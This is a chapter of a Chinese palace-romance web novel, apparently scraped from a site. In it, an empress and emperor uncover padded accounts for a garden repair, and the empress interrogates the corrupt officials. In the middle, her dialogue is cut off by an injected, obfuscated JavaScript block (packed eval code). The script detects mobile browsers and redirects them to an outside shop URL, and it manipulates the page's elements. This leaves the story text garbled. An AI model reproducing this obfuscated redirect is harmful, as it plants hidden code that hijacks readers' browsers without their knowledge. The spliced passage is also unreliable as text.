林清许像是听到了什么笑话,睁大眼睛,抱怨道:“后宫里只有我一个人,能有什么事务?这些日子除了吃就是睡,再这么下去,我都要胖成球了。” 周池笑意更深:“那也不错,胖一些抱起来舒服。” 林清许瞪他一眼,伸手把账册翻到那一页,指着上面的记录:“少贫嘴,你先给我解释解释这个。” 周池低头一看,笑容顿时僵在脸上。 为了修缮御花园西侧的空地,足足花了一千两银子,然而林清许最喜欢的金灯花却没种回来。 见他不说话,林清许环抱起手臂,幽幽道:“陛下可真够可以啊,我才离开多久,这金灯花田就被修缮没了?” 周池轻咳一声,目光飘向别处:“这个说来话长。” 林清许挑眉道:“那就长话短说。” 周池知道今日是躲不过去了,于是叹了口气,站起身绕过桌案,走到她面前。 “当初情况紧急,我本是要让人封住密道出口,结果一时心急,传令时出了差错,那座假山与花田就被炸平了。后来我忙着给表哥翻案,加上昏迷了十多天,就把这事给忘了。” 得知事情原委后,林清许怒气消了不少 她看着周池那张讨好赔罪的脸,却又觉得就这么原谅,也太便宜他了。 于是她只能瞪他一眼,气势汹汹道:“那你倒是说说,为什么修缮花了一千两银子,结果只修了一片普通的花圃?” 周池沉默了,御花园修缮的事他批了银子就没再过问,自然也不知道哪里究竟修成了什么样子。 不过听阿妤的口气,她应当是去御花园看过了。 “阿妤可是觉得这一千两花得不值?” 闻言,林清许不可思议地盯着他,震惊道:“值不值,你心里没数吗?那片花圃里一株名贵花草都没有,哪里需要花这么多银子?这账目问题这么明显,你却觉得我是在心疼那些银子?” 周池被她这一通话说得有些发懵,低头看向账册,眉头渐渐皱了起来。 过了好一会儿,周池抬起头,语气中带着几分冷意:“这账确实有问题。” 他放下账册,伸手握住林清许的手。 “是我疏忽了,宫里这些账目,我本该亲自过问的。” 见他这副模样,林清许心里一软,语气也缓和了几分:“倒也不全是你的过错,毕竟这钱也不是你贪的。” “那阿妤打算怎么做?” 林清许沉思片刻,回道:“以后宫里的开销账册都交给我,我来核对账目。包括之前的账册,账目有明显问题的,负责的人我要逐个审问,决不能让他们再这么明目张胆地捞油水。至于那片花圃——” 她眨了眨眼睛,抬眼望向周池,目光带着几分狡黠。 “那片花圃重新翻修,把金灯花种回去,如何?” 周池唇角微勾,从身后轻轻环住她的腰:“好,都听阿妤的,等花种到了,我亲手种回去。” 林清许靠着他的胸膛,满意地点点头:“这还差不多。” 周池说到做到。 第二日早朝后,他便命人寻来了金灯花的种球,趁日头不算太晒,将这些种球种了下去。 而林清许那边,则是命人将过去三年的宫中账册全部搬到了栖凤宫内,又召来了内务府总管,以及采买司的几位主事,当着他们的面,将那笔一千两修缮费的账目摊开。 “这假山与花圃的修缮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314374|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用料几何、人工几何,本宫已重新估算过。你们自己看看,这账对得上吗?” 她语气不重,甚至称得上平和,可目光扫过去时,这些人竟无一个敢直视她的眼睛。 起初,这几人以为只要串通好了,咬死不承认,以他们几人的资历,即便是贵为皇后的林清许,也不能把他们怎样。 但很可惜,他们低估了林清许的手段。 一个时辰后,几人战战兢兢地离开栖凤宫。拿到供词的林清许神清气爽地靠在椅子上,活像是打了一场胜仗。 还没歇多久,外面便传来了通报声:“陛下驾到。” 林清许站起身朝门口望去,只见周池正大步流星地走进来,穿着的衣裳也换了一身。 “听说阿妤今日大展神威,把那帮老油条吓得腿都软了?” 林清许扬了扬手中的供词,得意道:“那是自然,也不看看我是谁。” 周池接过供词,粗略扫了一眼,神色渐冷:“这几个人真是胆大,三年间竟贪了这么多。” 林清许点点头:“是啊,不过他们愿意把这些银子吐出来,我这次便放了他们一码,若是以后他们再敢贪墨,便连同这次的账目一起核算,到时候就等着被抄家斩首吧。” 看着她这副神采奕奕的模样,周池弯了弯嘴角,温声道:“那片金灯花田,我已经种好了,待到今年夏末,便能开花了。” 想起那片火焰般的红色,林清许脸上露出一抹柔和的笑意。 “之前我还是系统的时候,你就带我去看那片金灯花田,那时候你是不是就已经认出我了?” 周池摇了摇头:“不,比那还要早。” 林清许微微一愣,仔细回想之前的事情,却怎么也想不出周池究竟是何时认出她的。 见林清许如此苦恼,周池轻声安抚道:“过去的事就不必想了,往后日子还长着呢。” 闻言,林清许点了点头,但心里却有些不痛快。 周池点了点她的鼻尖,问道:“在想什么,怎的还皱起了眉?” 林清许定定地看着他,最终莞尔一笑。 “没什么,只是觉得往后的日子似乎……” 她一时语塞,不忍说出后面的话。 周池分给她剩余寿命的一半,即便他原本能长命百岁,匀到两个人身上,也不过还能再活三十多年。 周池像是看穿了她的心思,他没有说话,只是伸手托起她的下巴,让她抬起头来看着自己。 “阿妤,我们两个大概还剩三十年的寿命,你是不是觉得三十年太短了?” 林清许终于开口,声音有些低落:“难道不短吗?” “可是,阿妤。”他的声音在她耳边响起,带着几分笑意,“这三十多年,够你把宫里的账查个底朝天,够你每年夏末秋初和我去看金灯花开,够我们做很多很多事情。” “只要你在我身边,哪怕只能再活一年,也是值得的。”